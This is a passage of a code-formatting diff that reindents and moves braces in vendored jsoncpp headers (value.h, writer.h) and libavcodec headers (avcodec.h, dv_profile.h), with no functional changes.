bits_.allocated_ = v; + } - void initBasic(ValueType type, bool allocated = false); - void dupPayload(const Value& other); - void releasePayload(); - void dupMeta(const Value& other); + void initBasic(ValueType type, bool allocated = false); + void dupPayload(const Value& other); + void releasePayload(); + void dupMeta(const Value& other); - Value& resolveReference(const char* key); - Value& resolveReference(const char* key, const char* end); + Value& resolveReference(const char* key); + Value& resolveReference(const char* key, const char* end); - // struct MemberNamesTransform - //{ - // typedef const char *result_type; - // const char *operator()( const CZString &name ) const - // { - // return name.c_str(); - // } - //}; + // struct MemberNamesTransform + //{ + // typedef const char *result_type; + // const char *operator()( const CZString &name ) const + // { + // return name.c_str(); + // } + //}; - union ValueHolder { - LargestInt int_; - LargestUInt uint_; - double real_; - bool bool_; - char* string_; // if allocated_, ptr to { unsigned, char[] }. - ObjectValues* map_; - } value_; + union ValueHolder { + LargestInt int_; + LargestUInt uint_; + double real_; + bool bool_; + char* string_; // if allocated_, ptr to { unsigned, char[] }. + ObjectValues* map_; + } value_; - struct { - // Really a ValueType, but types should agree for bitfield packing. - unsigned int value_type_ : 8; - // Unless allocated_, string_ must be null-terminated. - unsigned int allocated_ : 1; - } bits_; + struct { + // Really a ValueType, but types should agree for bitfield packing. + unsigned int value_type_ : 8; + // Unless allocated_, string_ must be null-terminated. + unsigned int allocated_ : 1; + } bits_; - class Comments { - public: - Comments() = default; - Comments(const Comments& that); - Comments(Comments&& that) noexcept; - Comments& operator=(const Comments& that); - Comments& operator=(Comments&& that) noexcept; - bool has(CommentPlacement slot) const; - String get(CommentPlacement slot) const; - void set(CommentPlacement slot, String comment); + class Comments + { + public: + Comments() = default; + Comments(const Comments& that); + Comments(Comments&& that) noexcept; + Comments& operator=(const Comments& that); + Comments& operator=(Comments&& that) noexcept; + bool has(CommentPlacement slot) const; + String get(CommentPlacement slot) const; + void set(CommentPlacement slot, String comment); - private: - using Array = std::array; - std::unique_ptr ptr_; - }; - Comments comments_; + private: + using Array = std::array; + std::unique_ptr ptr_; + }; + Comments comments_; - // [start, limit) byte offsets in the source JSON text from which this Value - // was extracted. - ptrdiff_t start_; - ptrdiff_t limit_; + // [start, limit) byte offsets in the source JSON text from which this Value + // was extracted. + ptrdiff_t start_; + ptrdiff_t limit_; }; -template <> inline bool Value::as() const { return asBool(); } -template <> inline bool Value::is() const { return isBool(); } +template <> inline bool Value::as() const +{ + return asBool(); +} +template <> inline bool Value::is() const +{ + return isBool(); +} -template <> inline Int Value::as() const { return asInt(); } -template <> inline bool Value::is() const { return isInt(); } +template <> inline Int Value::as() const +{ + return asInt(); +} +template <> inline bool Value::is() const +{ + return isInt(); +} -template <> inline UInt Value::as() const { return asUInt(); } -template <> inline bool Value::is() const { return isUInt(); } +template <> inline UInt Value::as() const +{ + return asUInt(); +} +template <> inline bool Value::is() const +{ + return isUInt(); +} #if defined(JSON_HAS_INT64) -template <> inline Int64 Value::as() const { return asInt64(); } -template <> inline bool Value::is() const { return isInt64(); } +template <> inline Int64 Value::as() const +{ + return asInt64(); +} +template <> inline bool Value::is() const +{ + return isInt64(); +} -template <> inline UInt64 Value::as() const { return asUInt64(); } -template <> inline bool Value::is() const { return isUInt64(); } +template <> inline UInt64 Value::as() const +{ + return asUInt64(); +} +template <> inline bool Value::is() const +{ + return isUInt64(); +} #endif -template <> inline double Value::as() const { return asDouble(); } -template <> inline bool Value::is() const { return isDouble(); } +template <> inline double Value::as() const +{ + return asDouble(); +} +template <> inline bool Value::is() const +{ + return isDouble(); +} -template <> inline String Value::as() const { return asString(); } -template <> inline bool Value::is() const { return isString(); } +template <> inline String Value::as() const +{ + return asString(); +} +template <> inline bool Value::is() const +{ + return isString(); +} /// These `as` specializations are type conversions, and do not have a /// corresponding `is`. -template <> inline float Value::as() const { return asFloat(); } -template <> inline const char* Value::as() const { - return asCString(); +template <> inline float Value::as() const +{ + return asFloat(); +} +template <> inline const char* Value::as() const +{ + return asCString(); } /** \brief Experimental and untested: represents an element of the "path" to * access a node. */ -class JSON_API PathArgument { +class JSON_API PathArgument +{ public: - friend class Path; + friend class Path; - PathArgument(); - PathArgument(ArrayIndex index); - PathArgument(const char* key); - PathArgument(String key); + PathArgument(); + PathArgument(ArrayIndex index); + PathArgument(const char* key); + PathArgument(String key); private: - enum Kind { kindNone = 0, kindIndex, kindKey }; - String key_; - ArrayIndex index_{}; - Kind kind_{kindNone}; + enum Kind { kindNone = 0, kindIndex, kindKey }; + String key_; + ArrayIndex index_{}; + Kind kind_{kindNone}; }; /** \brief Experimental and untested: represents a "path" to access a node. @@ -738,223 +808,269 @@ private: * - ".%" => member name is provided as parameter * - ".[%]" => index is provided as parameter */ -class JSON_API Path { +class JSON_API Path +{ public: - Path(const String& path, const PathArgument& a1 = PathArgument(), - const PathArgument& a2 = PathArgument(), - const PathArgument& a3 = PathArgument(), - const PathArgument& a4 = PathArgument(), - const PathArgument& a5 = PathArgument()); + Path(const String& path, const PathArgument& a1 = PathArgument(), + const PathArgument& a2 = PathArgument(), + const PathArgument& a3 = PathArgument(), + const PathArgument& a4 = PathArgument(), + const PathArgument& a5 = PathArgument()); - const Value& resolve(const Value& root) const; - Value resolve(const Value& root, const Value& defaultValue) const; - /// Creates the "path" to access the specified node and returns a reference on - /// the node. - Value& make(Value& root) const; + const Value& resolve(const Value& root) const; + Value resolve(const Value& root, const Value& defaultValue) const; + /// Creates the "path" to access the specified node and returns a reference on + /// the node. + Value& make(Value& root) const; private: - using InArgs = std::vector; - using Args = std::vector; + using InArgs = std::vector; + using Args = std::vector; - void makePath(const String& path, const InArgs& in); - void addPathInArg(const String& path, const InArgs& in, - InArgs::const_iterator& itInArg, PathArgument::Kind kind); - static void invalidPath(const String& path, int location); + void makePath(const String& path, const InArgs& in); + void addPathInArg(const String& path, const InArgs& in, + InArgs::const_iterator& itInArg, PathArgument::Kind kind); + static void invalidPath(const String& path, int location); - Args args_; + Args args_; }; /** \brief base class for Value iterators. * */ -class JSON_API ValueIteratorBase { +class JSON_API ValueIteratorBase +{ public: - using iterator_category = std::bidirectional_iterator_tag; - using size_t = unsigned int; - using difference_type = int; - using SelfType = ValueIteratorBase; + using iterator_category = std::bidirectional_iterator_tag; + using size_t = unsigned int; + using difference_type = int; + using SelfType = ValueIteratorBase; - bool operator==(const SelfType& other) const { return isEqual(other); } + bool operator==(const SelfType& other) const + { + return isEqual(other); + } - bool operator!=(const SelfType& other) const { return !isEqual(other); } + bool operator!=(const SelfType& other) const + { + return !isEqual(other); + } - difference_type operator-(const SelfType& other) const { - return other.computeDistance(*this); - } + difference_type operator-(const SelfType& other) const + { + return other.computeDistance(*this); + } - /// Return either the index or the member name of the referenced value as a - /// Value. - Value key() const; + /// Return either the index or the member name of the referenced value as a + /// Value. + Value key() const; - /// Return the index of the referenced Value, or -1 if it is not an - /// arrayValue. - UInt index() const; + /// Return the index of the referenced Value, or -1 if it is not an + /// arrayValue. + UInt index() const; - /// Return the member name of the referenced Value, or "" if it is not an - /// objectValue. - /// \note Avoid `c_str()` on result, as embedded zeroes are possible. - String name() const; + /// Return the member name of the referenced Value, or "" if it is not an + /// objectValue. + /// \note Avoid `c_str()` on result, as embedded zeroes are possible. + String name() const; - /// Return the member name of the referenced Value. "" if it is not an - /// objectValue. - /// \deprecated This cannot be used for UTF-8 strings, since there can be - /// embedded nulls. - JSONCPP_DEPRECATED("Use `key = name();` instead.") - char const* memberName() const; - /// Return the member name of the referenced Value, or NULL if it is not an - /// objectValue. - /// \note Better version than memberName(). Allows embedded nulls. - char const* memberName(char const** end) const; + /// Return the member name of the referenced Value. "" if it is not an + /// objectValue. + /// \deprecated This cannot be used for UTF-8 strings, since there can be + /// embedded nulls. + JSONCPP_DEPRECATED("Use `key = name();` instead.") + char const* memberName() const; + /// Return the member name of the referenced Value, or NULL if it is not an + /// objectValue. + /// \note Better version than memberName(). Allows embedded nulls. + char const* memberName(char const** end) const; protected: - /*! Internal utility functions to assist with implementing - * other iterator functions. The const and non-const versions - * of the "deref" protected methods expose the protected - * current_ member variable in a way that can often be - * optimized away by the compiler. - */ - const Value& deref() const; - Value& deref(); + /*! Internal utility functions to assist with implementing + * other iterator functions. The const and non-const versions + * of the "deref" protected methods expose the protected + * current_ member variable in a way that can often be + * optimized away by the compiler. + */ + const Value& deref() const; + Value& deref(); - void increment(); + void increment(); - void decrement(); + void decrement(); - difference_type computeDistance(const SelfType& other) const; + difference_type computeDistance(const SelfType& other) const; - bool isEqual(const SelfType& other) const; + bool isEqual(const SelfType& other) const; - void copy(const SelfType& other); + void copy(const SelfType& other); private: - Value::ObjectValues::iterator current_; - // Indicates that iterator is for a null value. - bool isNull_{true}; + Value::ObjectValues::iterator current_; + // Indicates that iterator is for a null value. + bool isNull_{true}; public: - // For some reason, BORLAND needs these at the end, rather - // than earlier. No idea why. - ValueIteratorBase(); - explicit ValueIteratorBase(const Value::ObjectValues::iterator& current); + // For some reason, BORLAND needs these at the end, rather + // than earlier. No idea why. + ValueIteratorBase(); + explicit ValueIteratorBase(const Value::ObjectValues::iterator& current); }; /** \brief const iterator for object and array value. * */ -class JSON_API ValueConstIterator : public ValueIteratorBase { - friend class Value; +class JSON_API ValueConstIterator : public ValueIteratorBase +{ + friend class Value; public: - using value_type = const Value; - // typedef unsigned int size_t; - // typedef int difference_type; - using reference = const Value&; - using pointer = const Value*; - using SelfType = ValueConstIterator; + using value_type = const Value; + // typedef unsigned int size_t; + // typedef int difference_type; + using reference = const Value&; + using pointer = const Value*; + using SelfType = ValueConstIterator; - ValueConstIterator(); - ValueConstIterator(ValueIterator const& other); + ValueConstIterator(); + ValueConstIterator(ValueIterator const& other); private: - /*! \internal Use by Value to create an iterator. - */ - explicit ValueConstIterator(const Value::ObjectValues::iterator& current); + /*! \internal Use by Value to create an iterator. + */ + explicit ValueConstIterator(const Value::ObjectValues::iterator& current); public: - SelfType& operator=(const ValueIteratorBase& other); + SelfType& operator=(const ValueIteratorBase& other); - SelfType operator++(int) { - SelfType temp(*this); - ++*this; - return temp; - } + SelfType operator++(int) + { + SelfType temp(*this); + ++*this; + return temp; + } - SelfType operator--(int) { - SelfType temp(*this); - --*this; - return temp; - } + SelfType operator--(int) + { + SelfType temp(*this); + --*this; + return temp; + } - SelfType& operator--() { - decrement(); - return *this; - } + SelfType& operator--() + { + decrement(); + return *this; + } - SelfType& operator++() { - increment(); - return *this; - } + SelfType& operator++() + { + increment(); + return *this; + } - reference operator*() const { return deref(); } + reference operator*() const + { + return deref(); + } - pointer operator->() const { return &deref(); } + pointer operator->() const + { + return &deref(); + } }; /** \brief Iterator for object and array value. */ -class JSON_API ValueIterator : public ValueIteratorBase { - friend class Value; +class JSON_API ValueIterator : public ValueIteratorBase +{ + friend class Value; public: - using value_type = Value; - using size_t = unsigned int; - using difference_type = int; - using reference = Value&; - using pointer = Value*; - using SelfType = ValueIterator; + using value_type = Value; + using size_t = unsigned int; + using difference_type = int; + using reference = Value&; + using pointer = Value*; + using SelfType = ValueIterator; - ValueIterator(); - explicit ValueIterator(const ValueConstIterator& other); - ValueIterator(const ValueIterator& other); + ValueIterator(); + explicit ValueIterator(const ValueConstIterator& other); + ValueIterator(const ValueIterator& other); private: - /*! \internal Use by Value to create an iterator. - */ - explicit ValueIterator(const Value::ObjectValues::iterator& current); + /*! \internal Use by Value to create an iterator. + */ + explicit ValueIterator(const Value::ObjectValues::iterator& current); public: - SelfType& operator=(const SelfType& other); + SelfType& operator=(const SelfType& other); - SelfType operator++(int) { - SelfType temp(*this); - ++*this; - return temp; - } + SelfType operator++(int) + { + SelfType temp(*this); + ++*this; + return temp; + } - SelfType operator--(int) { - SelfType temp(*this); - --*this; - return temp; - } + SelfType operator--(int) + { + SelfType temp(*this); + --*this; + return temp; + } - SelfType& operator--() { - decrement(); - return *this; - } + SelfType& operator--() + { + decrement(); + return *this; + } - SelfType& operator++() { - increment(); - return *this; - } + SelfType& operator++() + { + increment(); + return *this; + } - /*! The return value of non-const iterators can be - * changed, so the these functions are not const - * because the returned references/pointers can be used - * to change state of the base class. - */ - reference operator*() const { return const_cast(deref()); } - pointer operator->() const { return const_cast(&deref()); } + /*! The return value of non-const iterators can be + * changed, so the these functions are not const + * because the returned references/pointers can be used + * to change state of the base class. + */ + reference operator*() const + { + return const_cast(deref()); + } + pointer operator->() const + { + return const_cast(&deref()); + } }; -inline void swap(Value& a, Value& b) { a.swap(b); } +inline void swap(Value& a, Value& b) +{ + a.swap(b); +} -inline const Value& Value::front() const { return *begin(); } +inline const Value& Value::front() const +{ + return *begin(); +} -inline Value& Value::front() { return *begin(); } +inline Value& Value::front() +{ + return *begin(); +} -inline const Value& Value::back() const { return *(--end()); } +inline const Value& Value::back() const +{ + return *(--end()); +} -inline Value& Value::back() { return *(--end()); } +inline Value& Value::back() +{ + return *(--end()); +} } // namespace Json diff --git a/compress/jsoncpp/writer.h b/compress/jsoncpp/writer.h index 7c56a21..44013fb 100644 --- a/compress/jsoncpp/writer.h +++ b/compress/jsoncpp/writer.h @@ -23,7 +23,8 @@ #pragma pack(push) #pragma pack() -namespace Json { +namespace Json +{ class Value; @@ -39,31 +40,33 @@ class Value; * } * \endcode */ -class JSON_API StreamWriter { +class JSON_API StreamWriter +{ protected: - OStream* sout_; // not owned; will not delete + OStream* sout_; // not owned; will not delete public: - StreamWriter(); - virtual ~StreamWriter(); - /** Write Value into document as configured in sub-class. - * Do not take ownership of sout, but maintain a reference during function. - * \pre sout != NULL - * \return zero on success (For now, we always return zero, so check the - * stream instead.) \throw std::exception possibly, depending on - * configuration - */ - virtual int write(Value const& root, OStream* sout) = 0; - - /** \brief A simple abstract factory. - */ - class JSON_API Factory { - public: - virtual ~Factory(); - /** \brief Allocate a CharReader via operator new(). - * \throw std::exception if something goes wrong (e.g. invalid settings) + StreamWriter(); + virtual ~StreamWriter(); + /** Write Value into document as configured in sub-class. + * Do not take ownership of sout, but maintain a reference during function. + * \pre sout != NULL + * \return zero on success (For now, we always return zero, so check the + * stream instead.) \throw std::exception possibly, depending on + * configuration */ - virtual StreamWriter* newStreamWriter() const = 0; - }; // Factory + virtual int write(Value const& root, OStream* sout) = 0; + + /** \brief A simple abstract factory. + */ + class JSON_API Factory + { + public: + virtual ~Factory(); + /** \brief Allocate a CharReader via operator new(). + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + virtual StreamWriter* newStreamWriter() const = 0; + }; // Factory }; // StreamWriter /** \brief Write into stringstream, then return string, for convenience. @@ -87,72 +90,74 @@ String JSON_API writeString(StreamWriter::Factory const& factory, * std::cout << std::endl; // add lf and flush * \endcode */ -class JSON_API StreamWriterBuilder : public StreamWriter::Factory { +class JSON_API StreamWriterBuilder : public StreamWriter::Factory +{ public: - // Note: We use a Json::Value so that we can add data-members to this class - // without a major version bump. - /** Configuration of this builder. - * Available settings (case-sensitive): - * - "commentStyle": "None" or "All" - * - "indentation": "". - * - Setting this to an empty string also omits newline characters. - * - "enableYAMLCompatibility": false or true - * - slightly change the whitespace around colons - * - "dropNullPlaceholders": false or true - * - Drop the "null" string from the writer's output for nullValues. - * Strictly speaking, this is not valid JSON. But when the output is being - * fed to a browser's JavaScript, it makes for smaller output and the - * browser can handle the output just fine. - * - "useSpecialFloats": false or true - * - If true, outputs non-finite floating point values in the following way: - * NaN values as "NaN", positive infinity as "Infinity", and negative - * infinity as "-Infinity". - * - "precision": int - * - Number of precision digits for formatting of real values. - * - "precisionType": "significant"(default) or "decimal" - * - Type of precision for formatting of real values. - * - "emitUTF8": false or true - * - If true, outputs raw UTF8 strings instead of escaping them. + // Note: We use a Json::Value so that we can add data-members to this class + // without a major version bump. + /** Configuration of this builder. + * Available settings (case-sensitive): + * - "commentStyle": "None" or "All" + * - "indentation": "". + * - Setting this to an empty string also omits newline characters. + * - "enableYAMLCompatibility": false or true + * - slightly change the whitespace around colons + * - "dropNullPlaceholders": false or true + * - Drop the "null" string from the writer's output for nullValues. + * Strictly speaking, this is not valid JSON. But when the output is being + * fed to a browser's JavaScript, it makes for smaller output and the + * browser can handle the output just fine. + * - "useSpecialFloats": false or true + * - If true, outputs non-finite floating point values in the following way: + * NaN values as "NaN", positive infinity as "Infinity", and negative + * infinity as "-Infinity". + * - "precision": int + * - Number of precision digits for formatting of real values. + * - "precisionType": "significant"(default) or "decimal" + * - Type of precision for formatting of real values. + * - "emitUTF8": false or true + * - If true, outputs raw UTF8 strings instead of escaping them. - * You can examine 'settings_` yourself - * to see the defaults. You can also write and read them just like any - * JSON Value. - * \sa setDefaults() - */ - Json::Value settings_; + * You can examine 'settings_` yourself + * to see the defaults. You can also write and read them just like any + * JSON Value. + * \sa setDefaults() + */ + Json::Value settings_; - StreamWriterBuilder(); - ~StreamWriterBuilder() override; + StreamWriterBuilder(); + ~StreamWriterBuilder() override; - /** - * \throw std::exception if something goes wrong (e.g. invalid settings) - */ - StreamWriter* newStreamWriter() const override; + /** + * \throw std::exception if something goes wrong (e.g. invalid settings) + */ + StreamWriter* newStreamWriter() const override; - /** \return true if 'settings' are legal and consistent; - * otherwise, indicate bad settings via 'invalid'. - */ - bool validate(Json::Value* invalid) const; - /** A simple way to update a specific setting. - */ - Value& operator[](const String& key); + /** \return true if 'settings' are legal and consistent; + * otherwise, indicate bad settings via 'invalid'. + */ + bool validate(Json::Value* invalid) const; + /** A simple way to update a specific setting. + */ + Value& operator[](const String& key); - /** Called by ctor, but you can use this to reset settings_. - * \pre 'settings' != NULL (but Json::null is fine) - * \remark Defaults: - * \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults - */ - static void setDefaults(Json::Value* settings); + /** Called by ctor, but you can use this to reset settings_. + * \pre 'settings' != NULL (but Json::null is fine) + * \remark Defaults: + * \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults + */ + static void setDefaults(Json::Value* settings); }; /** \brief Abstract class for writers. * \deprecated Use StreamWriter. (And really, this is an implementation detail.) */ -class JSON_API Writer { +class JSON_API Writer +{ public: - virtual ~Writer(); + virtual ~Writer(); - virtual String write(const Value& root) = 0; + virtual String write(const Value& root) = 0; }; /** \brief Outputs a Value in JSON format @@ -168,32 +173,33 @@ public: #pragma warning(push) #pragma warning(disable : 4996) // Deriving from deprecated class #endif -class JSON_API FastWriter : public Writer { +class JSON_API FastWriter : public Writer +{ public: - FastWriter(); - ~FastWriter() override = default; + FastWriter(); + ~FastWriter() override = default; - void enableYAMLCompatibility(); + void enableYAMLCompatibility(); - /** \brief Drop the "null" string from the writer's output for nullValues. - * Strictly speaking, this is not valid JSON. But when the output is being - * fed to a browser's JavaScript, it makes for smaller output and the - * browser can handle the output just fine. - */ - void dropNullPlaceholders(); + /** \brief Drop the "null" string from the writer's output for nullValues. + * Strictly speaking, this is not valid JSON. But when the output is being + * fed to a browser's JavaScript, it makes for smaller output and the + * browser can handle the output just fine. + */ + void dropNullPlaceholders(); - void omitEndingLineFeed(); + void omitEndingLineFeed(); public: // overridden from Writer - String write(const Value& root) override; + String write(const Value& root) override; private: - void writeValue(const Value& value); + void writeValue(const Value& value); - String document_; - bool yamlCompatibilityEnabled_{false}; - bool dropNullPlaceholders_{false}; - bool omitEndingLineFeed_{false}; + String document_; + bool yamlCompatibilityEnabled_{false}; + bool dropNullPlaceholders_{false}; + bool omitEndingLineFeed_{false}; }; #if defined(_MSC_VER) #pragma warning(pop) @@ -227,40 +233,41 @@ private: #pragma warning(push) #pragma warning(disable : 4996) // Deriving from deprecated class #endif -class JSON_API StyledWriter : public Writer { +class JSON_API StyledWriter : public Writer +{ public: - StyledWriter(); - ~StyledWriter() override = default; + StyledWriter(); + ~StyledWriter() override = default; public: // overridden from Writer - /** \brief Serialize a Value in JSON format. - * \param root Value to serialize. - * \return String containing the JSON document that represents the root value. - */ - String write(const Value& root) override; + /** \brief Serialize a Value in JSON format. + * \param root Value to serialize. + * \return String containing the JSON document that represents the root value. + */ + String write(const Value& root) override; private: - void writeValue(const Value& value); - void writeArrayValue(const Value& value); - bool isMultilineArray(const Value& value); - void pushValue(const String& value); - void writeIndent(); - void writeWithIndent(const String& value); - void indent(); - void unindent(); - void writeCommentBeforeValue(const Value& root); - void writeCommentAfterValueOnSameLine(const Value& root); - static bool hasCommentForValue(const Value& value); - static String normalizeEOL(const String& text); + void writeValue(const Value& value); + void writeArrayValue(const Value& value); + bool isMultilineArray(const Value& value); + void pushValue(const String& value); + void writeIndent(); + void writeWithIndent(const String& value); + void indent(); + void unindent(); + void writeCommentBeforeValue(const Value& root); + void writeCommentAfterValueOnSameLine(const Value& root); + static bool hasCommentForValue(const Value& value); + static String normalizeEOL(const String& text); - using ChildValues = std::vector; + using ChildValues = std::vector; - ChildValues childValues_; - String document_; - String indentString_; - unsigned int rightMargin_{74}; - unsigned int indentSize_{3}; - bool addChildValues_{false}; + ChildValues childValues_; + String document_; + String indentString_; + unsigned int rightMargin_{74}; + unsigned int indentSize_{3}; + bool addChildValues_{false}; }; #if defined(_MSC_VER) #pragma warning(pop) @@ -295,46 +302,47 @@ private: #pragma warning(push) #pragma warning(disable : 4996) // Deriving from deprecated class #endif -class JSON_API StyledStreamWriter { +class JSON_API StyledStreamWriter +{ public: - /** - * \param indentation Each level will be indented by this amount extra. - */ - StyledStreamWriter(String indentation = "\t"); - ~StyledStreamWriter() = default; + /** + * \param indentation Each level will be indented by this amount extra. + */ + StyledStreamWriter(String indentation = "\t"); + ~StyledStreamWriter() = default; public: - /** \brief Serialize a Value in JSON format. - * \param out Stream to write to. (Can be ostringstream, e.g.) - * \param root Value to serialize. - * \note There is no point in deriving from Writer, since write() should not - * return a value. - */ - void write(OStream& out, const Value& root); + /** \brief Serialize a Value in JSON format. + * \param out Stream to write to. (Can be ostringstream, e.g.) + * \param root Value to serialize. + * \note There is no point in deriving from Writer, since write() should not + * return a value. + */ + void write(OStream& out, const Value& root); private: - void writeValue(const Value& value); - void writeArrayValue(const Value& value); - bool isMultilineArray(const Value& value); - void pushValue(const String& value); - void writeIndent(); - void writeWithIndent(const String& value); - void indent(); - void unindent(); - void writeCommentBeforeValue(const Value& root); - void writeCommentAfterValueOnSameLine(const Value& root); - static bool hasCommentForValue(const Value& value); - static String normalizeEOL(const String& text); + void writeValue(const Value& value); + void writeArrayValue(const Value& value); + bool isMultilineArray(const Value& value); + void pushValue(const String& value); + void writeIndent(); + void writeWithIndent(const String& value); + void indent(); + void unindent(); + void writeCommentBeforeValue(const Value& root); + void writeCommentAfterValueOnSameLine(const Value& root); + static bool hasCommentForValue(const Value& value); + static String normalizeEOL(const String& text); - using ChildValues = std::vector; + using ChildValues = std::vector; - ChildValues childValues_; - OStream* document_; - String indentString_; - unsigned int rightMargin_{74}; - String indentation_; - bool addChildValues_ : 1; - bool indented_ : 1; + ChildValues childValues_; + OStream* document_; + String indentString_; + unsigned int rightMargin_{74}; + String indentation_; + bool addChildValues_ : 1; + bool indented_ : 1; }; #if defined(_MSC_VER) #pragma warning(pop) diff --git a/compress/libavcodec/avcodec.h b/compress/libavcodec/avcodec.h index c90166d..261653c 100644 --- a/compress/libavcodec/avcodec.h +++ b/compress/libavcodec/avcodec.h @@ -783,7 +783,7 @@ typedef struct AVCodecDescriptor { /** * @ingroup lavc_decoding */ -enum AVDiscard{ +enum AVDiscard { /* We leave some space between them for extensions (drop some * keyframes for intra-only or drop just some bidir frames). */ AVDISCARD_NONE =-16, ///< discard nothing @@ -805,13 +805,13 @@ enum AVAudioServiceType { AV_AUDIO_SERVICE_TYPE_EMERGENCY = 6, AV_AUDIO_SERVICE_TYPE_VOICE_OVER = 7, AV_AUDIO_SERVICE_TYPE_KARAOKE = 8, - AV_AUDIO_SERVICE_TYPE_NB , ///< Not part of ABI + AV_AUDIO_SERVICE_TYPE_NB, ///< Not part of ABI }; /** * @ingroup lavc_encoding */ -typedef struct RcOverride{ +typedef struct RcOverride { int start_frame; int end_frame; int qscale; // If this is 0 then quality_factor will be used instead. @@ -1874,7 +1874,7 @@ typedef struct AVCodecContext { #if FF_API_PRIVATE_OPT /** @deprecated use encoder private options instead */ attribute_deprecated - int prediction_method; + int prediction_method; #define FF_PRED_LEFT 0 #define FF_PRED_PLANE 1 #define FF_PRED_MEDIAN 2 @@ -2494,11 +2494,11 @@ typedef struct AVCodecContext { /** @deprecated use encoder private options instead */ attribute_deprecated int rtp_payload_size; /* The size of the RTP payload: the coder will */ - /* do its best to deliver a chunk with size */ - /* below rtp_payload_size, the chunk will start */ - /* with a start code on some codecs like H.263. */ - /* This doesn't take account of any particular */ - /* headers inside the transmitted RTP payload. */ + /* do its best to deliver a chunk with size */ + /* below rtp_payload_size, the chunk will start */ + /* with a start code on some codecs like H.263. */ + /* This doesn't take account of any particular */ + /* headers inside the transmitted RTP payload. */ #endif #if FF_API_STAT_BITS @@ -2603,9 +2603,9 @@ typedef struct AVCodecContext { #define FF_DEBUG_MB_TYPE 8 #define FF_DEBUG_QP 16 #if FF_API_DEBUG_MV -/** - * @deprecated this option does nothing - */ + /** + * @deprecated this option does nothing + */ #define FF_DEBUG_MV 32 #endif #define FF_DEBUG_DCT_COEFF 0x00000040 @@ -2642,12 +2642,12 @@ typedef struct AVCodecContext { */ int err_recognition; -/** - * Verify checksums embedded in the bitstream (could be of either encoded or - * decoded data, depending on the codec) and print an error message on mismatch. - * If AV_EF_EXPLODE is also set, a mismatching checksum will result in the - * decoder returning an error. - */ + /** + * Verify checksums embedded in the bitstream (could be of either encoded or + * decoded data, depending on the codec) and print an error message on mismatch. + * If AV_EF_EXPLODE is also set, a mismatching checksum will result in the + * decoder returning an error. + */ #define AV_EF_CRCCHECK (1<<0) #define AV_EF_BITSTREAM (1<<1) ///< detect bitstream specification deviations #define AV_EF_BUFFER (1<<2) ///< detect improper bitstream length @@ -2732,7 +2732,7 @@ typedef struct AVCodecContext { * - encoding: Set by libavcodec. * - decoding: Set by user. */ - int bits_per_coded_sample; + int bits_per_coded_sample; /** * Bits per sample/pixel of internal libavcodec pixel/sample format. @@ -2747,7 +2747,7 @@ typedef struct AVCodecContext { * - encoding: unused * - decoding: Set by user. */ - int lowres; + int lowres; #endif #if FF_API_CODED_FRAME @@ -2834,14 +2834,14 @@ typedef struct AVCodecContext { * - encoding: Set by user. * - decoding: unused */ - int nsse_weight; + int nsse_weight; /** * profile * - encoding: Set by user. * - decoding: Set by libavcodec. */ - int profile; + int profile; #define FF_PROFILE_UNKNOWN -99 #define FF_PROFILE_RESERVED -100 @@ -2951,7 +2951,7 @@ typedef struct AVCodecContext { * - encoding: Set by user. * - decoding: Set by libavcodec. */ - int level; + int level; #define FF_LEVEL_UNKNOWN -99 /** @@ -3067,7 +3067,7 @@ typedef struct AVCodecContext { * - encoding: unused * - decoding: Set by user. */ - int lowres; + int lowres; #endif /** @@ -4754,8 +4754,8 @@ int avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, */ attribute_deprecated int avcodec_decode_video2(AVCodecContext *avctx, AVFrame *picture, - int *got_picture_ptr, - const AVPacket *avpkt); + int *got_picture_ptr, + const AVPacket *avpkt); /** * Decode a subtitle message. @@ -4785,8 +4785,8 @@ int avcodec_decode_video2(AVCodecContext *avctx, AVFrame *picture, * @param[in] avpkt The input AVPacket containing the input buffer. */ int avcodec_decode_subtitle2(AVCodecContext *avctx, AVSubtitle *sub, - int *got_sub_ptr, - AVPacket *avpkt); + int *got_sub_ptr, + AVPacket *avpkt); /** * Supply raw packet data as input to a decoder. @@ -5453,7 +5453,7 @@ int av_picture_crop(AVPicture *dst, const AVPicture *src, */ attribute_deprecated int av_picture_pad(AVPicture *dst, const AVPicture *src, int height, int width, enum AVPixelFormat pix_fmt, - int padtop, int padbottom, int padleft, int padright, int *color); + int padtop, int padbottom, int padleft, int padright, int *color); /** * @} @@ -5516,18 +5516,18 @@ int avcodec_get_pix_fmt_loss(enum AVPixelFormat dst_pix_fmt, enum AVPixelFormat * @return The best pixel format to convert to or -1 if none was found. */ enum AVPixelFormat avcodec_find_best_pix_fmt_of_list(const enum AVPixelFormat *pix_fmt_list, - enum AVPixelFormat src_pix_fmt, - int has_alpha, int *loss_ptr); + enum AVPixelFormat src_pix_fmt, + int has_alpha, int *loss_ptr); /** * @deprecated see av_find_best_pix_fmt_of_2() */ enum AVPixelFormat avcodec_find_best_pix_fmt_of_2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); + enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); attribute_deprecated enum AVPixelFormat avcodec_find_best_pix_fmt2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); + enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); enum AVPixelFormat avcodec_default_get_format(struct AVCodecContext *s, const enum AVPixelFormat * fmt); @@ -6046,10 +6046,10 @@ AVHWAccel *av_hwaccel_next(const AVHWAccel *hwaccel); * @deprecated Deprecated together with av_lockmgr_register(). */ enum AVLockOp { - AV_LOCK_CREATE, ///< Create a mutex - AV_LOCK_OBTAIN, ///< Lock the mutex - AV_LOCK_RELEASE, ///< Unlock the mutex - AV_LOCK_DESTROY, ///< Free mutex resources + AV_LOCK_CREATE, ///< Create a mutex + AV_LOCK_OBTAIN, ///< Lock the mutex + AV_LOCK_RELEASE, ///< Unlock the mutex + AV_LOCK_DESTROY, ///< Free mutex resources }; /** diff --git a/compress/libavcodec/dv_profile.h b/compress/libavcodec/dv_profile.h index 9380a66..5c40636 100644 --- a/compress/libavcodec/dv_profile.h +++ b/compress/libavcodec/dv_profile.h @@ -52,9 +52,9 @@ typedef struct AVDVProfile { const uint8_t *block_sizes; /* AC block sizes, in bits */ int audio_stride; /* size of audio_shuffle table */ int 